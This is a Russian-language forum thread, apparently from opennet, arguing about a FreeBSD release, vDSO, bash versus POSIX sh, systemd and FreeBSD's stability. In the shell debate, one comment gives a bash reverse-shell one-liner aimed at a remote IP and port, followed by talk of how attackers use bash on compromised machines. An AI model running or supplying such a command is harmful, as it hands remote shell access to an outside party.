> ... особенно когда ядро и либц развиваются одной коммандой (что позволяет
> просто и без лишней бюрократии реализовать vDSO-фичи)

В случае линуха vDSO это виртуальный DSO который вообще ядро подпихивает процессу и ему пофиг на то какой там libc. Что как-то лучше с точки зрения универсальности этого, потому что libc разные бывают и все такое. Ядро при этом может нехило срезать угол в обход стандартных механизмов и это декоррелировано от остальных изменений, чего в вашем примере кажется не получается.

И кстати там сейчас не только вон та 1 несчастная функция обычно.

> Если кто хотел увидеть как именно "задерем же гордо гузочку, потому что
> ... ой" - добро пожаловать!

Люблю technical excellence, что поделать. И перфоманс системы одна из важных метрик.

>> ... особенно когда ядро и либц развиваются одной коммандой (что позволяет
>> просто и без лишней бюрократии реализовать vDSO-фичи)
> В случае линуха vDSO это виртуальный DSO который вообще ядро подпихивает процессу
> и ему пофиг на то какой там libc.

Какие буквы в  'если оно не называется "vDSO", значит этого нет' вам не понятны?

> Что как-то лучше с точки зрения универсальности этого, потому что libc разные бывают и все такое.

"Как-то лучше" - неплохой эвфемизм для "по другому никак, потому что libc у нас от ядра отдельно".

> И кстати там сейчас не только вон та 1 несчастная функция обычно.

Их там целая куча была (и есть). Обычно это стнадратный "пример" для нужности DSO, типа gettimeofday. Теперь - добавили обертку "__vdso_clock_gettime".
https://www.freebsd.org/status/report-2021-10-2021-12/vdso/
> For instance, a syscall-less wall clock was implemented long ago, by the kernel providing a time hands blob in the shared page, and the C library knowing about its location and the supported algorithms. There is no need for a VDSO that interposes some libc symbols or provides services that are named by known symbols to userland.
> From all the years of experience with this pseudo-VDSO approach, the only feature that was impossible to implement without providing real VDSO support was the signal trampoline DWARF annotations, for the benefit of stack unwinders.

...

> Какие буквы в  'если оно не называется "vDSO", значит этого нет'
> вам не понятны?

vDSO это вполне конкретная технология, "виртуальный DSO". И что значит этого нет? В случае vDSO пойнт в том что кернел некоторые услуги вывешивает софту напрямую, в обход libc вообще, чеорез те интерфейсы которые сочтет нужными.

> "Как-то лучше" - неплохой эвфемизм для "по другому никак, потому что libc
> у нас от ядра отдельно".

Это делает систему модульной и гибкой. Разным окружениям могут разные либцы хотеться. Скажем, recovery в initrd важнее мизерный размер. Там могут klibc какой-нибудь взять. Или openwrt тоже с его 8 мегов флеша на все, поэтому там uclibc или musl. А ядро vDSO может раздать всем, с бонусом к перфомансу.

Это еще и обеспечивает прозрачный, декорелированый апгрейд системы. Если новое ядро в vDSO умеет больше старого, окей, программы совершенно прозрачно получат ускорение с минимумом поводов для развала чего либо. Либсу и ее мнение при этом спрашивать вообще не требуется.

> Их там целая куча была (и есть).

Наверное именно поэтому кто-то вроде как пытается vDSO реализовать? Логика.

> vDSO это вполне конкретная технология, "виртуальный DSO". И что значит этого нет?
> В случае vDSO пойнт в том что кернел некоторые услуги вывешивает софту напрямую, в обход libc

Угу-угу. В обход сисколов в первую очередь. И vDSO - это еще и интерфейс.
> Applications usually do not need to concern themselves with these details as the vDSO is most
> commonly called by the C library.  This way you can code in the
> normal way using standard functions and the C library will take
> care of using any functionality that is available via the vDSO.

а так все верно, ага.

>> Их там целая куча была (и есть).
> Наверное именно поэтому кто-то вроде как пытается vDSO реализовать? Логика.

Для "технологистов" еще раз - вывешивание инфы в "обход" сисколов - сто лет есть. Ускоренее при апгрейде системы бонусом для программ без всяких хаков (т.е. просто использующих libc) - тоже самое. Т.е. "pseudo-vDSO". Логика-логика.
> Люблю technical excellence, что поделать

Ну мы видели недавно "technical excellence" на примере utmp, как там было: "Linux defines the utmpx structure to be the same as the utmp structure" - и ... "ой!"

> Угу-угу. В обход сисколов в первую очередь. И vDSO - это еще и интерфейс.

Это оверрайд функций DSO ядром. Которое может подпихнуть свои более производительные реализации, в конкретике вот именно этой инкарнации ядра, о чем никто кроме ядра не узнает. Прелесть в том что конкретика полностью декорелирована. Внешний интерфейс - вон та функция. А ядро может ее как ему там удобнее делать, с сисколами, без сисколов или в крапинку. Это его внутреннее дело как было эффективнее в конкретно этом вот случае. В этом пойнт технологии. И можно добавлять и иные функции - совершенно прозрачно, без рекомпила программ. И новое ядро прекрасно встроится в существующую систему без рекомпила чего либо вообще. В том числе и немаленькой основной либсы.

> а так все верно, ага.

vDSO может перекрыть собой libc если захочет, как я понимаю. А то что в эту игру могут играть двое - да, могут. Что в этом такого?

> Для "технологистов" еще раз - вывешивание инфы в "обход" сисколов - сто лет есть.

Прекрасно но vDSO это довольно таки generic механизм позволяющий прозрачные апгрейды и расширения, без каких либо факапов обратной совместимости и интрузива. Чем собственно и интересен как технология.

> Ускоренее при апгрейде системы бонусом для программ без всяких
> хаков (т.е. просто использующих libc) - тоже самое. Т.е. "pseudo-vDSO". Логика-логика.

vDSO так то нехилый системный хак, по определению :). Кернель по сути может оверрайдить некоторые функции libc или иных либ если захочет. И технически это именно хакинг программ. Но он с благой целью ускорения их работы. Это и другие делают, какая-нибудь нвидия вообще шейдеры популярным играм заменяет на свои, оптимизированые.

> Ну мы видели недавно "technical excellence" на примере utmp, как там было:
> "Linux defines the utmpx structure to be the same as the
> utmp structure" - и ... "ой!"

Прикопаться можно ко всему, но если вы копипастите фичи из линуха - тут двух мнений быть не может. Были бы у вас интерфейсы лучше - пингвин бы их скопипастил, пожалуй. А чего стесняться то. Но у вас их нет, вас "и так все устраивает", зачем что-то менять.

Так то Костя указал зачем оно нужно, noexecstack & cfi

Про линуксатор и iwlwifi не забыли, это радует. Но проверять это буду уже после релиза 14-й версии.

Судя по описанию релиз топ. Снапшоты везде, OpenZFS уже притёртый, WG

Ээ.... во freebsd затащат iproute2 из Linux. И фря станет еще сильнее (с) в том, в чем традиционно была сильна (с)

Но вообще вся эта возня уже не создаёт видимости того что стартап жив.

Какой стартап?

И где раст?

Что это?

Тот же вопрос

Вот https://wiki.freebsd.org/Rust

Все там нормально с растом. Попробуйте clamav собрать из портов, поймете, что в /usr (или куда вы папку с портами положили) надо дополнительные 20-30 гиг добавить (в несколько раз больше объема всей остальной системы) для сборки rustc в качестве build dependencies. И еще несколько часов будете ждать пока этот раст скомпилится, чтоб скомпилился clamav.
clamav-lts пока спасает, но надолго ли...

> или куда вы папку с портами положили

вот и корень проблемы - чукча не читатель:

PORTS(7)           FreeBSD Miscellaneous Information Manual           PORTS(7)

...

     PORTSDIR          Location of the ports tree.  This is /usr/ports by
                       default.

если ещё непонятно - можно разместить где угодно, нужно лишь добавить эту переменную в /etc/make.conf.

чуть ниже в этом же ports(7) есть переменная, определяющая дирку для сборки. но это уже на домашнее задание - прочитать этот man и найти необходимое.

слова про  расход памяти на сборку тоже из разряда "у меня лапки". например, firefox esr собирается в tmpfs, которому отдано 8 гигов из 16ти доступных. вот этот самый, в котором пишу.

Ну как всегда на опеннет - "Говорил он всегда про другое"
Один говорит что диру с портами можно положить куда угодно, второй отвечает КАК это сделать и обзывает первого ламером.

#4.103

и прошу обратить внимание:

> чуть ниже в этом же ports(7) есть переменная, определяющая дирку для сборки.

эта цитата как раз про отделение пространства для сборки от портов, что при прямых руках и голове на плечах решает проблему нехватки места (возможно, ещё надо man tmpfs прочесть).

если человек (а) пользуется портами, (б) не читал man ports, но (ц) отчаянно надувает щоки, то (х) как его ещё назвать?

(абцх) конечно. так его называть.

(жирный вдох сожаления: нафиг вообще сюда писал, ну бобушки-воробушки)

1) человек не понимает, что "тяжёлые" по сборке зависимости можно устанавливать пакетом, а не собирать.

2) человек не понимает, что пространство для сборки можно отделить от дерева портов.

3) человек не понимает, что аппаратные требования к сборке всего того же под тем же арчом или гентой мало чем отличается от данной бсд, но пытается утверждать именно это.

4) человек пользуется портами, что как минимум должно означать понимание некоторых вещей, которые простым и доступным языком описаны в handbook, что снимает проблемы из предыдущих трёх пунктов; но судя по всему, handbook не читан, что, однако, не мешает ему заниматься калоизвержением в сторону микроскопа, который почему-то не умеет колоть орехи.

и вот именно из-за последнего пункта - не, не ламером хотел его назвать. тут уместно слово "чудак". правда, с другой буквы.

А при чём тут я?

WG то зачем? его не то что тащ майор, его сержант банит влёт.

Ну главная ценность WG это скорость, а не незаметность.

И для объединения своих локалок в разных офисах.

Для лохов, профессионал давно делает это на основе tunnel+ipsec.

gre + ipsec, сами знаете на чем. Или вообще mpls.

Видимо это те профессионалы которых за ветеран юникс админами вслед сейчас уйдут. Самые догадливые, вот, вайргад на всякий запилили, чтобы еще потрепыхаться.

> WG то зачем? его не то что тащ майор, его сержант банит > влёт.

Если сильно приспичило есть куча вариантов обфускации трафика. А именно тип VPN по трафу детектить - разве что GFW будет, но тот вообще довольно противная штука.

systemd уже портировали? Или всё на баш-портянках сидят как деды? Деды терпели и нам велели.

BSD никогда не сидел на баш-портянках, там rc.d. Лапчатые сидели, для их systemD был избавлением.

BSD всегда сидел на sh портянках, сути это не меняет.

баш портянки у вас в линуксах, тут же нормальный POSIX Bourne Shell без башизмов в скриптах.

И таки чем башизмы так плохи, если ими пользуются там где есть баш?

нет баша - нет башизмов же !

В dash я башизмов не нашёл.

Зато Bourne Shell-фашизм.

> И таки чем башизмы так плохи, если ими пользуются там где есть баш?

bash -i >& /dev/udp/8.8.8.8/1337 0>&1

О да, а теперь попробуйте так с другим шелом. Если вы хотели сказать что от невозможности это делать секурити повышается, это врядли: позовет вредный скрипт какую-то программу и через нее данные скинет/получит, какая разница. Просто чуть неудобнее. Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.

> Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.

Причем тут скрипты, если баш а также его друг gawk для всех 755, то не надо никаких скриптов вообще чтоб быстро и просто сделать реверсе шелл на машину где нашли дыру и все что надо сделать чтоб подключится с коmфортом - это наличие /bin/bash

> надо сделать чтоб подключится с коmфортом - это наличие /bin/bash

Вы так говорите как будто без баша атакующий обломается. Вообще, использование именно баш в качестве именно реверс шелла далеко не самый массовый вариант как это делается.

И если уж предъявлять что-то такое то скорее вон тем, которые по DHCP рут раздавали. Но там претензия в целом к скриптозамесу который делал что-то неадекватное передавая кучу параметров исходящих из внешнего мира через скриптоту, что вообще совсем не безопасно.

bash не дает каких-то киллер фич, чтобы его брать заместо позиксного sh, ломая тем самым совместимость

"ПионЭры! Идите в ..."(С) Фаина наше всио Раневская

Я вот (в отличии от тебя) на реальных биг-айрон униках работал, и чем баш хуже - не вижу.
Он _был_ хуже тем, что такие как ты в писали на баше, а в шебанг лепили борна :)

PS: А теперь - наборот :)

Может получение фрагмента строки и замена подстроки эти самые фичи?

В sh есть удаление префиксов и суффиксов, вместо которых обычно вставляют другой, и этого достаточно, чтобы, например, подставить другое расширение файлу или поменять /usr на /usr/local. Ну а более сложные подстановки делаются через пайп в sed.

> bash не дает каких-то киллер фич

Массивы?

И чем for по массиву отличается от for по разделенным пробелом или другим IFS словам? Другие программы также на выходе никаких массивов не дают и в качестве аргументов их не принимают - шелл это про текст и его интерпретацию.

У меня пробелы в значениях.

Заключай значения в кавычки, экранируй пробелы, используй другой IFS. В bash это работает абсолютно так же.

Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.

> Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.

Установить bash можно под почти что угодно напоминающее позиксную операционку.

Установить может и можно, но смысла нет.
Проще сразу написать скрипт который будет работать везде.

> Установить может и можно, но смысла нет.
> Проще сразу написать скрипт который будет работать везде.

Кому как. В баше есть удобные плюшки и с точки зрения кодинга удобно ими попользоваться. И если кому скрипт нужен, поставят баш, не развалятся. А развалятся - значит им не очень надо было. Если они денег не платили то и фиг с ними и их причудами.

В стартовых скриптах оно конечно нафиг не. Там вообще системд так то поприятней смотрится. Потому что гораздо лучше когда это конфигурация а не логика. Избавляет от нужды в чужие художества лишний раз смотреть.

> Установить может и можно, но смысла нет.

потому что в 2023-ем если в системе есть шелл - то это скоее всего баш. ТЧК.

> POSIX Bourne Shell без башизмов в скриптах

Это как гордиться лишней хромосомой. Баш потому и появился, что на POSIX Shell любой нетривиальный скрипт превращается в портянку.

Ну предположим. И как переуспел баш то в этом благородном деле? Ржунимагу :)

Как говорил один умный человек, на этом же ресурсе - да, но мнооого лет назад, когда тут такой зверь ещё водился - так вот "Если твой скрипт занимает больше [пары] экрана[ов] - перепиши на ЯП"

И скажи что был не прав :)

> Ну предположим. И как переуспел баш то в этом благородном деле?

В нем есть достаточно мощные расширения синтаксиса позволяющие делать некоторые вещи менее мерзко и без огромного спагетти-кода.

Но мерзкого-спагетти кода меньше не стало :)
Самый жЫр что оно в систембуЭ даже прокралось, хотя поцанчик обещал ни сантиметра вЪ :)))

> Но мерзкого-спагетти кода меньше не стало :)

Системд довольно нехило это пролечил.

> Самый жЫр что оно в систембуЭ даже прокралось, хотя поцанчик обещал ни сантиметра вЪ :)))

Да как сказать? Поскольку креативить стало чуть менее удобно, а типовые сценарии разруливаются самим системд, вообще, нехило полегчало. Хотя конечно отдельные рожи даже так ухитряются креатив сомнительной степени кривизны протолкать, ведь запустить шелл и скрипт им из юнита системды можно, если очень хочется.

Зачем ЯП, если можно в source или "."?

Ну стали жаловаться на баш-портянки, и что принципиально изменилось?

А ты чё это недостаточно бодро хвалишь господина Кц? Щас кто нить на капу нажмёт :)

Ну вот только bsd-шники на POSIX sh смогли сделать нормальный rc.d с выносом всего общего кода в стандартную библиотеку, а линуксоиды (не все, но тот же Debian яркий пример) продолжали копипастить портянки однотипного кода в каждый инит-скрипт.

Может, дело не в баше?

Попробуй уменьшить частоту процессора и объем оперативной памяти в полтора-два раза. Будет похоже, как будто у тебя systemd. Как раз то, что тебе и нужно.

Это вообще дикий гон - системд потребляет 5 мегабайт памяти и 0% проца, прекрасно работая даже на первой малинке. И стартует это уж всяко быстрее скриптоты, где оверхед от интерпретатора при старте пачки сервисов - большая часть времени в процессе старта. Да и конфиг без кода с чисто параметрическим описанием все же лучше, нет сюрпризов и художеств. А если сильно надо - скрипт можно и вызвать.

Но вы погодите, когда вас последние энтерпрайзы за такое управление системы отправят на мороз, ваши девы тоже начнут догадываться в чем дело. Или останутся вообще совсем без донатов.

Верим, верим... всему, особенно про "легковесность" systemd
То-то я смотрю из легковесных дистрибутивов systemd выпиливают. Просто так, наверное...

> Верим, верим... всему, особенно про "легковесность" systemd

Ваши верования ортогональны тому у кого low end одноплатников больше чем у дypaка фантиков. И да, там волнует потребление ресурсов, часть совсем low end модели (не предел мечтаний, зато всего 10 баксов за юнит!). Есть даже парочка совсем мусорных по современным понятиям железок с ARMv5 и 128 мегов оперативы, доставшихся нахаляву. Системде и там не жмет. Его не видно на радарах даже на этом.

> То-то я смотрю из легковесных дистрибутивов systemd выпиливают. Просто так, наверное...

Единственное место которое я видел где это технически обосновано - openwrt, системд сложно в 8 мегов флеша загнать. Но в openwrt господа вообще сделали, а хотя бы и из шелскриптов, нечто еще более жесткое: там еще и конфиги программ писать нини! Надо их ГЕНЕРИТЬ по параметрам из UCI - и поттеринг на фоне таких идей так, мелкий невинный шутник. Молитесь чтобы он ЭТО не увидел ненароком...

Из твоего мутного потока здесь и ниже явно просматривается один-единственный факт: systemd — это скорее религия, нежели инструмент.
Все эти запугивания, отсылки к высшим силам — это всё оттуда.

Есть куча множество UNIX-like систем, где обходятся без systemd. И они вполне себе продаются.

> Из твоего мутного потока здесь и ниже явно просматривается один-единственный факт: systemd
> — это скорее религия, нежели инструмент.

Это ж какое просветленное сознание надо было иметь чтобы в вон том увидеть вот это? На самом деде я против откровенно технически некорректных ремарок. Если вы думаете что врать с три короба это офигенный способ делать опенсорс, удачи вам но у меня иные идеи на этот счет.

> Все эти запугивания, отсылки к высшим силам — это всё оттуда.

Это про отправят на мороз? Судя по соседним новостям это уже происходит. Как капитанинг может быть "угрозой"? Не понимаю.

> и высшие силы?

А высшие силы это кто? Корпы? Вы вообше всегда пытались к ним подмазаться, начиная с лицензии. Но вы им становитесь не нужны уже даже и там, о чем соседняя новость, например.

> Есть куча множество UNIX-like систем, где обходятся без systemd. И они вполне
> себе продаются.

Ну как бы удачи вам в продажах, ведении бизнеса и всем таком прочем.

Для начала поведай нам, кто ты такой, почему мы должны тебе верить?
Что ты за такая авторитетная личность?

И второй вопрос: почему ради твоего успокоения надо выбрасывать то, что неплохо пока работает?

> Для начала поведай нам, кто ты такой, почему мы должны тебе верить?
> Что ты за такая авторитетная личность?

Я лишь предлагаю точку зрения и как правило могу ее обосновать. Соглашаться или нет - личное дело каждого. Вот так просто и банально.

> И второй вопрос: почему ради твоего успокоения надо выбрасывать то, что неплохо
> пока работает?

Обычно это случается по соображениям эффективности и отсутствия технических и человеческих эксплуатационных проблем.

Леонард SystemD портирует в MS Windows.

Мастер, поведай детали!

> Мастер, поведай детали!

https://devblogs.microsoft.com/commandline/systemd-support-i.../

Ниасиляторы системда тебя заминусовали

Дело не в том, что он сложный. а в том, что его функции в 99% нафиг не нужны. Это как развозить молоко на бульдозере — в принципе можно использовать, но как-то не очень хочется.

> Дело не в том, что он сложный. а в том, что его
> функции в 99% нафиг не нужны. Это как развозить молоко на
> бульдозере — в принципе можно использовать, но как-то не очень хочется.

Кому не нужны тем и карты в руки. А мне вот например возможность изолировать сервисы от системы без гимора, авторестартить их, прописывать по людски ключевые параметры их запуска и проч в лаконичном виде и проч - вполне себе. И многими из этих фич я еще и пользуюсь. Поэтому имею кое-что против типов говорящих "нафиг не нужны". Поэтому и пользуюсь линем. Хоть начинал вот именно с фри, но потом случайно заметил что управление серверами сильно менее мучительно и канительно если вместо нее линукс ставить. А потом... это был длинный путь но я стал весьма продвинут в технологиях которые я применяю.

Цитата: "...но я стал весьма продвинут в технологиях которые я применяю."

Ну да, ну да... "сам себя не похвалишь — весь день как оплеванный". Собственно это всегда и выдает ламера.

> Ну да, ну да... "сам себя не похвалишь — весь день как
> оплеванный". Собственно это всегда и выдает ламера.

Не, это смотрение на себя и свои возможности и скиллы эн лет назад. И только. Если я вижу улучшения и могу найти отличия в лучшую сторону - значит направление взято верно.

Хорошая новость про отличную ОС. Всем поклонникам демона большой привет! У нас фря стоит уже давно для сети, почты и для БД. Просто многие не умеют ее готовить. Кстати намного стабильнее всех линуксов, есть с чем сравнивать.

Сравнение в студию.

Ага. Тож самое - гейты, почта и веб-часть на ней онли.
И таки стабильнее линукса

>Тож самое - гейты, почта и веб-часть на ней онли.

Естественно!

Под другое она не годится.

Кстати, как там с поддержкой в утилитах юникода? Лет через 10 допилят?

Изя, не узнаю тебя! Ты, ведь, раньше так за Фрю и Жабу топил.

Антипод.

> Под другое она не годится.

У любителей "как венда, но нахаляву" - все может быть.
> Кстати, как там с поддержкой в утилитах юникода? Лет через 10 допилят?

Ты еще про поддержку юникода (чсх, настоящего, а не фейкового "256/512 глифов", как у "светочей прогресса") в ядерной консоле вспомни.

Тоесть тебе нечем крыть, но что-то тяфкнуть хочется.

>> фейкового "256/512 глифов"
> Тоесть тебе нечем крыть, но что-то тяфкнуть хочется.

Тоесть тебя ткнули носом, но ты даже не понял, о чем речь.
https://www.opennet.me/openforum/vsluhforumID3/123250.html#192
"обтекай" ©

2 мажерных версии назад уже unicode работал.

А я устал чинить вечно-"стабильную" фряху. Мне как-то лучше "нестабильный" линух, в котором всё нужное мне работает и не разваливается как в сабже. И "готовить" линух особо не надо, опять таки, в отличие от сабжа.

Документацию читать не пробовал?

Из того, на что я натыкался:
1. во FreeBSD нелья было увеличить количество семафоров без перезагрущеи системы, без чего часто бывают проблемы с нехваткой семафоров в uwsgi и zabbix-агентеж
2. после перезагрузки системы часть демонов наботают с переменной окружения PATH, в которой нет путей к /usr/local/bin и /usr/local/sbin. Лечится перезапуском демонов от пользователя root - в таком случае используется нго переменная PATH. Штатного способа починить это не предусмотрено, можно поправить значение в скриптах в /etc/rc, но тогда система может не загрузиться, если ей не удастся смонтировать /usr/local. Не знаю, что из этого хуже,
3. не было поддержки capabilities (не знаю, как сейчас), из-за чего для выполнения любой даже самой простой привилегированной операции, например пинг или открытие порта с номером < 1000, требуеися suid-бит на бинарнике.

Хотя и преимуществ по сравнению с Linux тоже хватает, но они скорее в большей мере носят эмоциональный характер: система кажется более упорядоченной и лучше документированной.

>увеличить количество семафоров

Точно семафоров?

2. после перезагрузки системы часть демонов наботают с переменной окружения PATH, в которой нет путей к /usr/local/bin и /usr/local/sbin. Лечится перезапуском демонов от пользователя root - в таком случае используется нго переменная PATH. Штатного способа починить это не предусмотрено, можно поправить значение в скриптах в /etc/rc, но тогда система может не загрузиться, если ей не удастся смонтировать /usr/local. Не знаю, что из этого хуже,

У демона есть login class, у login class'а в login.conf(5) есть path ... Документацию ты не читал.

> У демона есть login class, у login class'а в login.conf(5) есть path
> ... Документацию ты не читал.

А в этом нашем системд можно конкретному сервису прописать хоть path, хоть весь env без особого напряга. Без всяких классов и прочих выкрутасов. И даже доки читать особо не надо в этом случае, как максимум пару примеров глянуть да сделать так же. Вы еще удивляетесь почему сабж на линух заменяют?

Доки надо читать всегда. Много нового узнаешь.

> Доки надо читать всегда. Много нового узнаешь.

Но не любая дока достойна потраченного на нее времени. Прикольное ощущение когда читал манускрипты черти сколько чтобы узнать что вон то в 10 раз проще и быстрее делалось, так что лучше совсем другую доку было читать...

оспЫдя .. восторгов то сколько ... :)
У тебя это в первый раз?(С)

PS: то модер - я исключительно про чтение документации ;-)

Я скорее поудивлялся что некоторые доки реально имеет смысл читать. Доки на системд одни из таковых. Да, придется понять как эта штука работает. Зато после этого можно за 5 минут себе юнит нарисовать с изоляцией от системы, закручеными гайками, авторестартом, нужным шедулером, приоритетами...

Такое на скриптах заколебешься делать а некоторые комбо вообще нереализуемы, поскольку если мы хотели от системы изолироваться, где-то в середине действа нужные утилсы как раз стали недоступны... а знаете, вот этот http серв обойдется без доступа к шеллу, право. С какой легитимной целью http серваку мог бы потребоваться какой-там шелл и прочие ls?! :)

судя по ответу ниже - нет, не пробовал. но мнение счх имеет.

Документация в бзде неплохая, но толку с того? Если система настолько глюкавая и рассыпчатая, что лучше не обновлять, лучше не перезагружать(выключение и включение позволяет более предсказуемо загрузиться).
При включении лучше присутствовать за физ-консолью, ибо может понадобиться запустить fsck, даже если диск без бэдов. Из хорошего - начиная с 13-й версии fsck работает, слава яйцам!
Сон iwlwifi - всё ещё вечен, и разрабы знают об этой проблеме.
На ноутах видеоускорение - рандомно работает, и рандомно валится. С 2 кадрами в секунду уже ютруб не посмотришь, да и тиринг, как 15 лет назад.

А ты и дальше продолжай читать документацию. Всё же легче чем попробовать использовать данную систему на практике.

>На ноутах видеоускорение - рандомно работает, и рандомно валится. С 2 кадрами в секунду уже ютруб не посмотришь, да и тиринг, как 15 лет назад.

А еще юсбишные наушникик у меня не заработали. Прочитал все доки, перепробовал вс етчо там написано, перепробовал все что написано на форумах, все равно не заработало. Вернулся на бубунту.

Обычно kldload snd_uaudio хватает для class-compliant стандартного ЦАПа в таких наушниках. Если есть возможность загрузить, подключить и привести вывод ядра и топологию соотв. устройств - пиши, взглянем

> Обычно kldload snd_uaudio хватает для class-compliant стандартного ЦАПа в таких наушниках.

А плагнплей загрузки нужных модулей для стандартного класса в сабже что, нет? В линухе какой-нибудь udev сам нужный модуль вгрузит - и порядок.

> А плагнплей загрузки нужных модулей для стандартного класса в сабже что, нет?
> В линухе какой-нибудь udev сам нужный модуль вгрузит - и порядок.

Да не, вы че - только только (всего 20 лет назад) завезли.
https://man.freebsd.org/cgi/man.cgi?query=devd&apropos=0&sek...
>  Another example
>     would be for devd to use a    table to locate    and load via kldload(8)    the
>     proper driver for an unrecognized device that is added to the system.
>

А почему тому типу советуют мануально kldload делать? В чем подвох?

> А почему тому типу советуют мануально kldload делать? В чем подвох?

Ясен пень же, потому что оно на самом деле не умеет в это, а не для того чтобы минимизировать возможный источник ошибок (например, потому что именно для тех наушников с "креативным" айди и без соотв. квиркса оно не грузится) ...

Я почему-то был уверен что драйвер стандартного класса должен грузиться по критерию класса, с пофигом на VID/PID. Откуда и такие вопросы.

Да чувак просто документацию недочитал. Если так и не заработало, то дальше надо читать Б.В. Керниган, Д.М. Ритчи Язык программирования С. А мамкины спецы назад на бабуинунточку отскакивают.

>Да чувак просто документацию недочитал

Универсальная отмазка для неработающей фрибсд.

>>Да чувак просто документацию недочитал
> Универсальная отмазка для неработающей фрибсд.

Универсальный вспук про "ниработаит и глючит", повторяющийся в каждой новости о фре.
"Рассыпаитца", "лучше не обновлять" и проч - странно только что я сейчас пишу с такой "ниработаищей" 13, установленной в "девичестве" 10, переезжавшей с железки на железку ...

% guptime && uptime
21:38:49  up 35 days 21:03
21:38  up 11 days,  7:34
smartctl -a /dev/ada0|grep -i unex                                               
174 Unexpect_Power_Loss_Ct  0x0032   100   100   000    Old_age   Always       -       83

> smartctl -a /dev/ada0|grep -i unex

Странные какие-то у вас наушники...

Бро, это понятно что "а у меня работает". Только вот это отмазка для негодного софта и негодного разраба. Работать должно у всех, как в бубунте.

> Бро, это понятно что "а у меня работает".

И чем оно хуже "а у меня не работает, значит ни у кого не работает!"?
> Только вот это отмазка для негодного софта и негодного разраба. Работать должно у всех, как в бубунте.

Только вот форумы этих ваших бубунт тоже полны "у меня не работает", только как обычно "это другое!"(с)

Мне почему-то кажется что если бы у сабжа было бы столько же юзеров как у убунты, у вас еще и не такое было бы в форумах и багтрекерах.

> спецы назад на бабуинунточку отскакивают.

Ух да. Я лучше сегодня в кикаде девайс порисую и фирмвари попрогаю (с музыкой!). Драйвер ушей кодить довольно скучное занятие по сравнению с этим. А си учить лучше минимум 99-й, но это уже "немного" не про K&R.

>Обычно kldload snd_uaudio

А вот не хватило. Как и всего остального, что было нарыто везде, где можно. Не реально тогда впрягся в то, чтоб оно таки заработало. Но нет.

Смею спросить сэр, а Вы сколько с FreeBSD знакомы, именно в плане плотной работы в качестве ее изначально рекомендуемой роли как серверной платформы, с всеми вытекающими дополнениями из этой рекомендации? Смотрю заключение делаете, в сути которых, Вы даже не догадываетесь о всех ее возможностях. Сама ОС позиционировалась, да и до сих пор так, как серверная платформа с голой консолью, не уступающая большинству в своей стабильности, неприхотливости и долговечности, альтернатива выше разве что Solaris. Это боевая система которая не будет у Вас спрашивать уверены ли Вы в себе или нет, она исполнит команду положась в целом на Вашу голову, а не "искуственный" интерактивный интеллект и от Вашей головы будет зависить дальнейшая ее работа, если с ней, головой, у Вас все нормально, руки выше пояса и багаж знаний не пенки с взбитого молока, то и обновляться можно сколько душе угодно и перезагружаться и не иметь никаких физ. консолей. А для ноутбука, есть дургие альтернативы а-ля UNIX подобных ОС адаптированных к десктопному окружению и позиционирующих себя для домашнего пользования. Ну а если решили поиграть, прикручивая ее к чему не попадя, то тут Вы глубоко ошиблись с целью своего выбора...  

С серверов freebsd давно уже повыкидаывали, где она была. Осталось только юзать это прикола ради, на подкроватном серверке, или десктопе. Первое сильно не у всех, а для последнего только если ты мазохист.

> С серверов freebsd давно уже повыкидаывали, где она была. Осталось только юзать
> это прикола ради, на подкроватном серверке, или десктопе. Первое сильно не
> у всех, а для последнего только если ты мазохист.

Это сугубо Ваше личное мнение или оно основано на общеизвестной мировой практике и анализе? "Подкроватные" сервера как правило у субьектов с весьма ограниченными знаниями в проф. сфере, так же как и "поиграться", а потом с умным видом писать многострочные заключения. Вы еще Solaris под кровать определите, или на ноутбук его взгромоздите, а потом пишите свое заключение о совершенном непригодности ОС в этой роли...

>Подкроватные" сервера как правило у субьектов с весьма ограниченными знаниями в проф. сфере, так же как и "поиграться",

Дык, я и не спорю. Вот только там, у субъектов с ограниченными знаниями, получается фряха и осталась в использовании. Которые не с ограниченными знаниями, те давно заменили ее на линуксы, причем с демонстративно так.

То есть документацию не читал, но лезешь админить? Молодец, продолжай.
Расскажи нам ещё ужасов про fsck.

Hint: Для начала научись нормально отмонтировать диски и выключать компьютер с UNIX-like системой в штатном режиме.

С такими кривыми руками вам лучше долбать линух или винду, лучше выйдет.

"а если за г-но берется - то просто тратит меньше сил"

>  /etc/hostid и невозможности получения UUID от аппаратного обеспечения. Также добавлен файл /etc/machine-id

Хромиум любит его читать чтобы идетить пользователя однозначно.

видимо можно запретить. навскидку
1) хром от спец.юзера в chroot, против других утечек тоже полезно.
2) jail (не знаю что будет с X, надо проверять).
3) права root:wheel 0640 или 0600

>2) jail (не знаю что будет с X, надо проверять).

работает, но притормаживает
возможно будет интереснее вариант с другим юзером и xrdp в джейле, если уж прям боязно

> видимо можно запретить. навскидку

Рандомизировать периодически. И пусть себе идентифицирует наздоровье. Или вообще LD_PRELOAD своей либы -> вернуть рандом на чтение этого файла. Пусть читает дальше.

Rootfs на tmpfs с генерацией при загрузке

chroot поддерживать лениво, да и отдельный юзер - тоже неудобство.

> chroot поддерживать лениво, да и отдельный юзер - тоже неудобство.

В случае системды его достаточно стереть и при новом старте будет новый. Я вообще сделал юнит системды который при шатдауне стирает этот файл. Так что каждую перезагрузку новый ID :)

И часто перезагружаешься ?

> И часто перезагружаешься ?

От системы зависит. Сетевые штуки, гипервизор (хост) и прочие железки редко, только для апдейта ядра. Виртуалку с браузером? Она на горячую из кеша взлетает как ракета и там ничего кроме браузера нет, перезапустить ее не напряжно совсем: это накрывает лишь сессию браузинга. Одну из. Не сильно хуже простого закрытия бразера.

А работает это через какое-то rdp или vnc или что-то там ещё? Или XForwarding?

Для "локальной" графики уместнее скорее qxl, virtio или что там кто умеет на эту тему, лишь бы быстрое как п@нос. Что у вас на эту тему есть и кто самый быстрый вам виднее. Тогда можно и 1080p в браузере смотреть с нормальной скоростью и похрен что это виртуалка.

И для всяких сторажей, сетей и прочего тоже virtio везде втулить, если оно у вас так умеет, будет как настоящий комп по скорости, плюс минус.

И теперь каждую загрузку запускается target первой загрузки новой системы

> И теперь каждую загрузку запускается target первой загрузки новой системы

